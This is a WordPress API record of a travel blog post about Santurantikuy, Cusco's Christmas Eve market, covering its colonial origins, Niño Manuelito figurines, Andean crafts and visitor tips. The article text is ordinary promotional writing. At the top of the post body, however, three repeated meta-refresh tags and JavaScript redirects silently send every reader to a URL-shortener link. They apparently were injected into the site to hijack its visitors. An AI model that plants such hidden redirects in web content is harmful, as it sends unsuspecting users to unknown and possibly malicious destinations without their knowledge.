{"id":11123,"date":"2024-11-28T11:45:11","date_gmt":"2024-11-28T16:45:11","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=11123"},"modified":"2024-11-28T11:46:43","modified_gmt":"2024-11-28T16:46:43","slug":"exploring-santurantikuy-cuscos-christmas-market","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-santurantikuy-cuscos-christmas-market\/","title":{"rendered":"Exploring Santurantikuy: Cusco\u2019s Christmas Market"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-christmas-traditions-in-peru\/\"><strong>Christmas traditions<\/strong><\/a> in Peru are unique. We Peruvians love our family, traditions, beliefs, and food, so this time of the year is special for gathering and having a great time. Cusco, once the Inca\u2019s empire cradle city, is no exception.<\/p>\n\n\n\n<p>Every year on December 24th, the Plaza de Armas in Cusco transforms into a vibrant hub with the Santurantikuy Christmas market, a cherished tradition not only for the people of Cusco but also for Peru. This wonderful event comes from the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/quechua-words-and-meanings\/\"><strong>Quechua<\/strong><\/a> term that means \u201csale of saints.\u201d<\/p>\n\n\n\n<p>If you\u2019re visiting Peru during the holiday season, be sure to check out Santurantikuy! It\u2019s a great way to immerse yourself in local traditions and a highlight for anyone exploring Christmas in Cusco. Let\u2019s dive into the story and atmosphere you can expect in this street fair, let\u2019s dive in!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Roots of Santurantikuy: A Historical Fusion<\/strong><\/h2>\n\n\n\n<p>Santurantikuy has a rich history that began during the Spanish <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-cuscos-andean-colonial-architecture\/\"><strong>colonial <\/strong><\/a>era, around the 16th century. It started as a way to share Christian beliefs with the Andean people and convert them to Catholicism. Today, this fair especially aims to revive the tradition of displaying nativity scenes in people\u2019s homes.&nbsp;<\/p>\n\n\n\n<p>This event is held on Christmas Eve, every December 23rd and 24th. It has grown into a vibrant cultural celebration that combines Andean traditions with Catholic beliefs. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"446\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/Santirantikuy_compras_1.jpg?resize=697%2C446&#038;ssl=1\" alt=\"\" class=\"wp-image-11133\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/Santirantikuy_compras_1.jpg?resize=1024%2C655&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/Santirantikuy_compras_1.jpg?resize=300%2C192&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/Santirantikuy_compras_1.jpg?resize=768%2C491&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/Santirantikuy_compras_1.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Although the Santurantikuy initially focused on selling small nativity figures, as time went on, it expanded to include a variety of local art, traditional crafts, and even indigenous rituals.&nbsp;<\/p>\n\n\n\n<p>This evolution highlights the fair\u2019s ability to adapt and grow within the community. On these days you can see the Plaza de Armas and its surroundings filled with people, trying to look for a lovely Christmas decoration, or a \u201cni\u00f1o Manuelito,\u201d which we\u2019ll talk to you about in the following lines.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Highlights of the Santurantikuy Fair<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Ni\u00f1o Manuelito: The Heart of the Fair<\/h3>\n\n\n\n<p>One of the fair most beloved symbols is the Ni\u00f1o Manuelito. This lovely sculpture represents baby Jesus dressed in traditional Andean clothing. Many locals enjoy purchasing these figurines to include in their Christmas manger scene called \u201cpesebre.\u201d&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/santurantikuy_nino_manuelito.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-11127\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/santurantikuy_nino_manuelito.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/santurantikuy_nino_manuelito.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/santurantikuy_nino_manuelito.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/santurantikuy_nino_manuelito.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/santurantikuy_nino_manuelito.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>People love dressing this statue in colorful costumes and accessories that reflect the wide variety of <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/pucara-bulls-tradition-and-symbolism-in-andean-homes\/\"><strong>Andean <\/strong><\/a>and cusque\u00f1o styles. People in Cusco see these figurines as blessings for the upcoming year and often include them as a main piece in their \u201cpesebres\u201d or under a Christmas tree.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Artisan Craftsmanship<\/h3>\n\n\n\n<p>Santurantikuy is a fantastic celebration of the talents of many artisans from the Andes. Visitors will enjoy exploring a wide range of unique items, including:<\/p>\n\n\n\n<p><strong>Nativity figures:<\/strong> These hand-carved or clay-molded figures blend biblical scenes with Andean symbols, they are both special and meaningful.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"488\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/artesanias_santurantikuy_2.jpg?resize=697%2C488&#038;ssl=1\" alt=\"\" class=\"wp-image-11128\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/artesanias_santurantikuy_2.jpg?resize=1024%2C717&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/artesanias_santurantikuy_2.jpg?resize=300%2C210&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/artesanias_santurantikuy_2.jpg?resize=768%2C538&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/artesanias_santurantikuy_2.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong>Andean <\/strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-peruvian-textiles-then-and-now\/\"><strong>textiles:<\/strong><\/a><strong> <\/strong>The stunning woven fabrics, like ponchos and shawls, showcase vibrant patterns. They reflect the region&#8217;s rich culture.<\/p>\n\n\n\n<p><strong>Wood carvings and ceramics: <\/strong>These pieces often draw on local plants, animals, and religious themes, adding a personal touch to each work.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Cultural Syncretism in Art<\/h3>\n\n\n\n<p>The nativity scenes at Santurantikuy are truly unique. In the \u201cpesebre\u201d or as Cusco people also call it \u201cNacimiento\u201d instead of portraying figures like a donkey, sheep, or horses, in an Andean nacimiento you can see llamas, alpacas, or other Andean creatures.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/ranti-1.jpg?resize=697%2C697&#038;ssl=1\" alt=\"\" class=\"wp-image-11129\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/ranti-1.jpg?resize=1024%2C1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/ranti-1.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/ranti-1.jpg?resize=150%2C150&amp;ssl=1 150w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/ranti-1.jpg?resize=768%2C768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/ranti-1.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>The holy family also wears traditional Andean clothing along with the three kings in Andean clothing with indigenous features. This blend of Andean life and Christian imagery delight all visitors.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Practical Tips for Visitors<\/strong><\/h2>\n\n\n\n<p>To make your visit to Santurantikuy enjoyable, here are some friendly tips:<\/p>\n\n\n\n<p><strong>Arrive Early:<\/strong> The fair starts very early in the morning and goes into midnight. Getting there early lets you explore the stalls before it gets too busy.<\/p>\n\n\n\n<p><strong>Dress Warmly:<\/strong> December nights in Cusco can be chilly, so don\u2019t forget to wear a warm jacket and comfortable shoes for walking around.<\/p>\n\n\n\n<p><strong>Carry Cash:<\/strong> Most vendors prefer cash, so it\u2019s smart to bring small bills to make transactions easier.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"743\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/6-fuegos-artificiales-CORR-960x1024-1-1.png?resize=697%2C743&#038;ssl=1\" alt=\"\" class=\"wp-image-11130\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/6-fuegos-artificiales-CORR-960x1024-1-1.png?w=960&amp;ssl=1 960w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/6-fuegos-artificiales-CORR-960x1024-1-1.png?resize=281%2C300&amp;ssl=1 281w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/6-fuegos-artificiales-CORR-960x1024-1-1.png?resize=768%2C819&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><strong>Respect Local Traditions:<\/strong> Feel free to take photos and chat with the artisans, but please be mindful of their customs and personal space. Keep in mind too that bargain is an<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-perus-unique-traditions-and-everyday-habits\/\"><strong> everyday habit<\/strong><\/a> all around Peru, so feel free to do it if you want to take home a nice souvenir.<\/p>\n\n\n\n<p><strong>Plan Ahead:<\/strong> Cusco gets busy during Christmas, so you can book your accommodations and flights early to avoid any last-minute stress.<\/p>\n\n\n\n<p><strong>Don\u2019t forget your umbrella: <\/strong>December marks the beginning of Cusco\u2019s <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peru-rainy-season-traveling-tips\/\"><strong>rainy season<\/strong><\/a>. We recommend raingear, an umbrella a good pair of waterproof shoes<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Cultural Significance of Santurantikuy<\/strong><\/h2>\n\n\n\n<p>In 2009, the Peruvian government proudly declared Santurantikuy a National Cultural Heritage. This recognition highlights its significance as a living symbol of Andean identity and faith. The fair continues to thrive, serving as a wonderful bridge between the past and present.<\/p>\n\n\n\n<p>&nbsp;Santurantikuy allows modern generations to connect with their roots while warmly welcoming visitors worldwide. For locals, this event honors family traditions, supports artisans, and celebrates their Andean and Christian roots. For travelers, it\u2019s a chance to enjoy a unique Christmas tradition.&nbsp;<\/p>\n\n\n\n<p>Santurantikuy is not just a fair; it\u2019s a delightful cultural and spiritual journey. As you admire the nativity figures&#8217; intricate artistry, savor traditional foods, and witness a blend of ancient rituals and Christian faith, you&#8217;ll find a rich, immersive experience. It will capture the essence of Cusco at Christmas.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Visiting the Santurantikuy in Cusco Peru could be the highlight of your journey, creating memories that you will cherish for a lifetime. To learn more about these traditions and imprecise cultural expressions stay tuned to our <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/\"><strong>blog<\/strong><\/a>! <\/p>\n\n\n\n<p>If you\u2019re planning to visit Peru, we recommend traveling with the best service possible, Viagens Machu Picchu. We offer exclusive packages to Peru and Bolivia and will be glad to assist you in this adventure. <a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\"><strong>Contact us <\/strong><\/a>to start taking the first step into your adventure!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Santurantikuy, Cusco\u2019s cherished Christmas fair, takes place on Dec. 24. This cultural event blends Andean and Christian traditions with nativity scenes, crafts, and food. Centered on Ni\u00f1o Manuelito figurines, it highlights artistry and faith, making it a must-see for visitors.<\/p>\n","protected":false},"author":1,"featured_media":11125,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1630,206,192],"tags":[3251,3658,3638,3656,3641,3659,3654,1690,805,3651,1509,3657,3650,3652,723,3653,3655,1724,1770],"class_list":["post-11123","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-advice","category-cusco","category-experiences","tag-16th-century","tag-23rd-and-24th","tag-baby-jesus","tag-christmas-decorations","tag-christmas-eve","tag-christmas-in-cusco","tag-christmas-market","tag-colonial-era","tag-cusco-peru","tag-december-24th","tag-inca-empire","tag-nativity-figures","tag-nativity-scene","tag-nino-manuelito","tag-plaza-de-armas","tag-santurantikuy-cusco","tag-sculptures-represent","tag-visiting-peru","tag-wide-variety"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/venta_ninos_manuelitos_santurantikuy.jpg?fit=1200%2C800&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-2Tp","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/11123","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=11123"}],"version-history":[{"count":2,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/11123\/revisions"}],"predecessor-version":[{"id":11134,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/11123\/revisions\/11134"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/11125"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=11123"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=11123"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=11123"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}